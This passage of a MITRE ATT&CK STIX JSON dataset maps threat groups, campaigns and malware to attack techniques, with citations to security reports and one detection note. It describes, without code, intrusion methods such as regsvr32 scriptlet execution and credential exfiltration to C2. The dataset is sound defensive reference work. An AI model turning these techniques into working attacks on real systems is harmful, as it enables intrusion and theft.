2024)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--df9beafa-be6b-4e61-9a27-dfb9ec7d6aa3","type":"relationship","created":"2017-05-31T21:33:27.049Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"F-Secure The Dukes","description":"F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.","url":"https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"},{"source_name":"Secureworks IRON HEMLOCK Profile","url":"http://www.secureworks.com/research/threat-profiles/iron-hemlock","description":"Secureworks CTU. (n.d.). IRON HEMLOCK. Retrieved February 22, 2022."}],"modified":"2022-02-22T14:44:52.266Z","description":"(Citation: F-Secure The Dukes)(Citation: Secureworks IRON HEMLOCK Profile)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"malware--2daa14d6-cbf3-4308-bb8e-213c324a08e4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dfa0d5cd-0e3d-4e21-ad3f-3653134cfa8b","type":"relationship","created":"2019-06-07T15:11:47.351Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro IXESHE 2012","url":"https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_ixeshe.pdf","description":"Sancho, D., et al. (2012, May 22). IXESHE An APT Campaign. Retrieved June 7, 2019."}],"modified":"2019-06-10T19:29:30.691Z","description":"[Ixeshe](https://attack.mitre.org/software/S0015) collects the username from the victim’s machine.(Citation: Trend Micro IXESHE 2012)","relationship_type":"uses","source_ref":"malware--8beac7c2-48d2-4cd9-9b15-6c452f38ac06","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dfaba796-8057-46ce-aa83-213bef99ba2f","type":"relationship","created":"2022-03-30T14:26:51.873Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.873Z","description":"Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--e49ee9d2-0d98-44ef-85e5-5d3100065744","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Elastic Process Injection July 2017","description":"Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.","url":"https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"}]},{"type":"relationship","id":"relationship--dfaccd3c-398f-453e-8fa9-dad431bd2b0c","created":"2024-03-05T19:45:20.148Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Cutting Edge January 2024","description":"McLellan, T. et al. (2024, January 12). Cutting Edge: Suspected APT Targets Ivanti Connect Secure VPN in New Zero-Day Exploitation. Retrieved February 27, 2024.","url":"https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-05T19:48:51.957Z","description":"[WARPWIRE](https://attack.mitre.org/software/S1116) can Base64 encode captured credentials with `btoa()` prior to sending to C2.(Citation: Mandiant Cutting Edge January 2024)","relationship_type":"uses","source_ref":"malware--a5818d36-e9b0-46da-842d-b727a5e36ea6","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--dfb3ddf9-7683-4d88-ba40-eab0f87a3a8c","created":"2022-06-02T13:56:24.697Z","x_mitre_version":"0.1","external_references":[{"source_name":"Cisco Talos Bitter Bangladesh May 2022","url":"https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html","description":"Raghuprasad, C . (2022, May 11). Bitter APT adds Bangladesh to their targets. Retrieved June 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[ZxxZ](https://attack.mitre.org/software/S1013) can collect data from a compromised host.(Citation: Cisco Talos Bitter Bangladesh May 2022)","modified":"2022-06-02T13:56:24.697Z","relationship_type":"uses","source_ref":"malware--97cfbdc6-504d-41e9-a46c-78a9f806ff0d","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dfb4c7e9-e1af-4716-b658-9cfbadd706dc","type":"relationship","created":"2020-05-18T19:04:37.694Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Reaqta MuddyWater November 2017","url":"https://reaqta.com/2017/11/muddywater-apt-targeting-middle-east/","description":"Reaqta. (2017, November 22). A dive into MuddyWater APT targeting Middle-East. Retrieved May 18, 2020."}],"modified":"2020-05-20T20:52:34.280Z","description":"[MuddyWater](https://attack.mitre.org/groups/G0069) has used C2 infrastructure to receive exfiltrated data.(Citation: Reaqta MuddyWater November 2017)","relationship_type":"uses","source_ref":"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dfb8dd3b-3700-4708-a9ea-ddcc6b750705","type":"relationship","created":"2021-09-29T20:46:38.415Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA20-239A BeagleBoyz August 2020","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-239a","description":"DHS/CISA. (2020, August 26). FASTCash 2.0: North Korea's BeagleBoyz Robbing Banks. Retrieved September 29, 2021."}],"modified":"2021-10-04T20:52:20.264Z","description":"[APT38](https://attack.mitre.org/groups/G0082) has conducted spearphishing campaigns using malicious email attachments.(Citation: CISA AA20-239A BeagleBoyz August 2020)","relationship_type":"uses","source_ref":"intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dfc19325-9b8a-4cb7-80fc-dedc2cf8742a","type":"relationship","created":"2020-06-24T16:55:46.408Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-06-24T16:55:46.408Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--77532a55-c283-4cd2-bc5d-2d0b65e9d88c","target_ref":"attack-pattern--3d333250-30e4-4a82-9edc-756c68afc529","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--dfc90c30-4cc7-4f5f-8315-6a20c14696d9","created":"2022-09-27T18:01:10.531Z","revoked":false,"external_references":[{"source_name":"FoxIT Wocao December 2019","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-27T18:01:10.531Z","description":"During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors discovered the local network configuration with `ipconfig`.(Citation: FoxIT Wocao December 2019)","relationship_type":"uses","source_ref":"campaign--b03d5112-e23a-4ac8-add0-be7502d24eff","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dfcc52d8-4664-48c4-9e35-2be2cd649d93","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.","url":"https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/","source_name":"ESET OceanLotus Mar 2019"},{"source_name":"FireEye APT32 May 2017","description":"Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html"},{"url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","source_name":"Cybereason Cobalt Kitty 2017"}],"modified":"2020-06-19T20:04:12.233Z","description":"[APT32](https://attack.mitre.org/groups/G0050) created a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) that used regsvr32.exe to execute a COM scriptlet that dynamically downloaded a backdoor and injected it into memory. The group has also used regsvr32 to run their backdoor.(Citation: ESET OceanLotus Mar 2019)(Citation: FireEye APT32 May 2017)(Citation: Cybereason Cobalt Kitty 2017) ","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--dfccba8d-5ad0-48be-ba81-8080a12da010","created":"2024-02-09T20:33:21.135Z","revoked":false,"external_references":[{"source_name":"Mandiant Pulse Secure Zero-Day April 2021","description":"Perez, D. et al. (2021, April 20). Check Your Pulse: Suspected APT Actors Leverage Authentication Bypass Techniques and Pulse Secure Zero-Day. Retrieved February 5, 2024.","url":"https://www.mandiant.com/resources/blog/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-09T20:33:21.135Z","description":"[STEADYPULSE](https://attack.mitre.org/software/S1112) can parse web requests made to a targeted server to determine the next stage of execution.(Citation: Mandiant Pulse Secure Zero-Day April 2021)","relationship_type":"uses","source_ref":"malware--ca0fead6-5277-427a-825b-42ff1fbe476e","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--dfcd4d41-11f4-4891-9e49-7a725ab18d1d","created":"2022-06-02T13:18:55.848Z","x_mitre_version":"0.1","external_references":[{"source_name":"Cybereason PowerLess February 2022","url":"https://www.cybereason.com/blog/research/powerless-trojan-iranian-apt-phosphorus-adds-new-powershell-backdoor-for-espionage","description":"Cybereason Nocturnus. (2022, February 1). PowerLess Trojan: Iranian APT Phosphorus Adds New PowerShell Backdoor for Espionage. Retrieved June 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[PowerLess](https://attack.mitre.org/software/S1012) can use base64 and AES ECB decryption prior to execution of downloaded modules.(Citation: Cybereason PowerLess February 2022)","modified":"2022-06-02T19:53:14.197Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--35ee9bf3-264b-4411-8a8f-b58cec8f35e4","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dfcfd396-1c1f-42c0-ad12-da75d275ccc9","type":"relationship","created":"2021-03-03T18:57:21.383Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Waterbear December 2019","url":"https://www.trendmicro.com/en_us/research/19/l/waterbear-is-back-uses-api-hooking-to-evade-security-product-detection.html","description":"Su, V. et al. (2019, December 11). Waterbear Returns, Uses API Hooking to Evade Security. Retrieved February 22, 2021."}],"modified":"2021-03-03T18:57:21.383Z","description":"[Waterbear](https://attack.mitre.org/software/S0579) can leverage API functions for execution.(Citation: Trend Micro Waterbear December 2019)","relationship_type":"uses","source_ref":"malware--f3f1fbed-7e29-49cb-8579-4a378f858deb","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dfd24960-6b7e-4fab-bb84-2fc2ed4fc772","type":"relationship","created":"2021-06-11T16:51:49.284Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Kimsuky June 2021","url":"https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/","description":"Jazi, H. (2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved June 10, 2021."}],"modified":"2021-06-11T16:56:08.706Z","description":"[AppleSeed](https://attack.mitre.org/software/S0622) can zip and encrypt data collected on a target system.(Citation: Malwarebytes Kimsuky June 2021)","relationship_type":"uses","source_ref":"malware--295721d2-ee20-4fa3-ade3-37f4146b4570","target_ref":"attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dfd6892f-82a4-4db4-a132-3d6f221e55f4","type":"relationship","created":"2020-08-12T17:52:48.627Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks IRON LIBERTY July 2019","url":"https://www.secureworks.com/research/resurgent-iron-liberty-targeting-energy-sector","description":"Secureworks. (2019, July 24). Resurgent Iron Liberty Targeting Energy Sector. Retrieved August 12, 2020."}],"modified":"2020-08-12T17:52:48.627Z","description":"(Citation: Secureworks IRON LIBERTY July 2019)","relationship_type":"uses","source_ref":"intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1","target_ref":"tool--afc079f3-c0ea-4096-b75d-3f05338b7f60","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--dfd947d6-60c1-4cb1-90ff-0111ccaddd1a","created":"2022-09-15T17:28:38.521Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"BlackBerry CostaRicto November 2020","description":"The BlackBerry Research and Intelligence Team. (2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. Retrieved May 24, 2021.","url":"https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-05T15:58:13.086Z","description":"During [CostaRicto](https://attack.mitre.org/campaigns/C0004), the threat actors set up remote SSH tunneling into the victim's environment from a malicious domain.(Citation: BlackBerry CostaRicto November 2020) ","relationship_type":"uses","source_ref":"campaign--f9cc545e-b0ef-4b92-8884-a3a4427609f6","target_ref":"attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dfdd269c-9d78-46da-8b31-3141a5398bfd","type":"relationship","created":"2020-05-22T20:27:31.549Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Symantec Security Response. (2015, December 7). Iran-based attackers use back door threats to spy on Middle Eastern targets. Retrieved April 17, 2019.","url":"https://www.symantec.com/connect/blogs/iran-based-attackers-use-back-door-threats-spy-middle-eastern-targets","source_name":"Symantec Chafer Dec 2015"}],"modified":"2020-05-22T20:27:31.549Z","description":"[Cadelspy](https://attack.mitre.org/software/S0454) has the ability to steal information about printers and the documents sent to printers.(Citation: Symantec Chafer Dec 2015)","relationship_type":"uses","source_ref":"malware--a705b085-1eae-455e-8f4d-842483d814eb","target_ref":"attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--dfe16a67-5f63-40a8-9f60-2d0313e55e46","created":"2019-01-30T15:38:21.383Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant APT1 Appendix","description":"Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.","url":"https://www.mandiant.com/sites/default/files/2021-09/mandiant-apt1-report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-12-26T19:55:54.861Z","description":"[BISCUIT](https://attack.mitre.org/software/S0017) can capture keystrokes.(Citation: Mandiant APT1 Appendix)","relationship_type":"uses","source_ref":"malware--b8eb28e4-48a6-40ae-951a-328714f75eda","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--dfe4c167-8e69-4b15-912f-ccd437674423","created":"2022-02-17T15:51:18.114Z","x_mitre_version":"1.0","external_references":[{"source_name":"Symantec Shuckworm January 2022","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-gamaredon-espionage-ukraine","description":"Symantec. (2022, January 31). Shuckworm Continues Cyber-Espionage Attacks Against Ukraine. Retrieved February 17, 2022."},{"source_name":"Unit 42 Gamaredon February 2022","url":"https://unit42.paloaltonetworks.com/gamaredon-primitive-bear-ukraine-update-2021/","description":"Unit 42. (2022, February 3). Russia’s Gamaredon aka Primitive Bear APT Group Actively Targeting Ukraine. Retrieved February 21, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Gamaredon Group](https://attack.mitre.org/groups/G0047) has used tools to enumerate processes on target hosts including Process Explorer.(Citation: Symantec Shuckworm January 2022)(Citation: Unit 42 Gamaredon February 2022)","modified":"2022-04-18T18:00:51.202Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--dfe9acb4-48fe-4241-8b17-d76534f75b62","created":"2020-12-28T18:50:41.523Z","x_mitre_version":"1.0","external_references":[{"source_name":"Red Canary Hospital Thwarted Ryuk October 2020","url":"https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/","description":"Brian Donohue, Katie Nickels, Paul Michaud, Adina Bodkins, Taylor Chapman, Tony Lambert, Jeff Felling, Kyle Rainey, Mike Haag, Matt Graeber, Aaron Didier.. (2020, October 29). A Bazar start: How one hospital thwarted a Ryuk ransomware outbreak. Retrieved October 30, 2020."},{"source_name":"Cybereason Bumblebee August 2022","url":"https://www.cybereason.com/blog/threat-analysis-report-bumblebee-loader-the-high-road-to-enterprise-domain-control","description":"Cybereason. (2022, August 17). Bumblebee Loader – The High Road to Enterprise Domain Control. Retrieved August 29, 2022."},{"source_name":"FireEye Ryuk and Trickbot January 2019","url":"https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html","description":"Goody, K., et al (2019, January 11). A Nasty Trick: From Credential Theft Malware to Business Disruption. Retrieved May 12, 2020."},{"source_name":"FireEye FIN6 Apr 2019","url":"https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html","description":"McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019."}],"x_mitre_deprecated":false,"revoked":false,"description":"[AdFind](https://attack.mitre.org/software/S0552) has the ability to query Active Directory for computers.(Citation: Red Canary Hospital Thwarted Ryuk October 2020)(Citation: FireEye FIN6 Apr 2019)(Citation: FireEye Ryuk and Trickbot January 2019)(Citation: Cybereason Bumblebee August 2022)","modified":"2022-08-29T14:25:11.728Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"tool--f59508a6-3615-47c3-b493-6676e1a39a87","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dfea2d53-ecf8-4e01-9773-98d65c57bcc8","type":"relationship","created":"2020-08-17T14:49:06.275Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET InvisiMole June 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf","description":"Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."}],"modified":"2020-08-17T14:49:06.275Z","description":"[InvisiMole](https://attack.mitre.org/software/S0260) can deliver trojanized versions of software and documents, relying on user execution.(Citation: ESET InvisiMole June 2020)","relationship_type":"uses","source_ref":"malware--47afe41c-4c08-485e-b062-c3bd209a1cce","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dfea8f12-5c47-4a11-a4ed-06d08192b9ab","type":"relationship","created":"2020-08-24T13:40:23.207Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET PipeMon May 2020","url":"https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/","description":"Tartare, M. et al. (2020, May 21). No “Game over” for the Winnti Group. Retrieved August 24, 2020."}],"modified":"2020-09-22T14:02:02.228Z","description":"[PipeMon](https://attack.mitre.org/software/S0501)'s first stage has been executed by a call to CreateProcess with the decryption password in an argument. [PipeMon](https://attack.mitre.org/software/S0501) has used a call to LoadLibrary to load its installer.(Citation: ESET PipeMon May 2020)","relationship_type":"uses","source_ref":"malware--8393dac0-0583-456a-9372-fd81691bca20","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dfeb0053-3513-4622-a5c0-a3554c8970a7","type":"relationship","created":"2021-03-29T17:06:22.388Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-03-29T17:06:22.388Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--1126cab1-c700-412f-a510-61f4937bb096","target_ref":"attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dfed3236-eb97-4a56-9325-1fb3d1c12ba4","type":"relationship","created":"2021-01-28T17:54:03.695Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET EvilNum July 2020","url":"https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/","description":"Porolli, M. (2020, July 9). More evil: A deep look at Evilnum and its toolset. Retrieved January 22, 2021."}],"modified":"2021-04-27T01:11:46.736Z","description":"[EVILNUM](https://attack.mitre.org/software/S0568) can run a remote scriptlet that drops a file and executes it via regsvr32.exe.(Citation: ESET EvilNum July 2020) ","relationship_type":"uses","source_ref":"malware--7cdfccda-2950-4167-981a-60872ff5d0db","target_ref":"attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dfedbce3-afe2-46f4-80fb-7f3e802c5f03","type":"relationship","created":"2019-04-17T16:58:29.416Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"DOJ APT10 Dec 2018","url":"https://www.justice.gov/opa/pr/two-chinese-hackers-associated-ministry-state-security-charged-global-computer-intrusion","description":"United States District Court Southern District of New York (USDC SDNY) . (2018, December 17). United States of America v. Zhu Hua and Zhang Shilong. Retrieved April 17, 2019."},{"source_name":"Symantec Cicada November 2020","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage","description":"Symantec. (2020, November 17). Japan-Linked Organizations Targeted in Long-Running and Sophisticated Attack Campaign. Retrieved December 17, 2020."}],"modified":"2020-12-17T16:16:08.962Z","description":"[menuPass](https://attack.mitre.org/groups/G0045) has collected various files from the compromised computers.(Citation: DOJ APT10 Dec 2018)(Citation: Symantec Cicada November 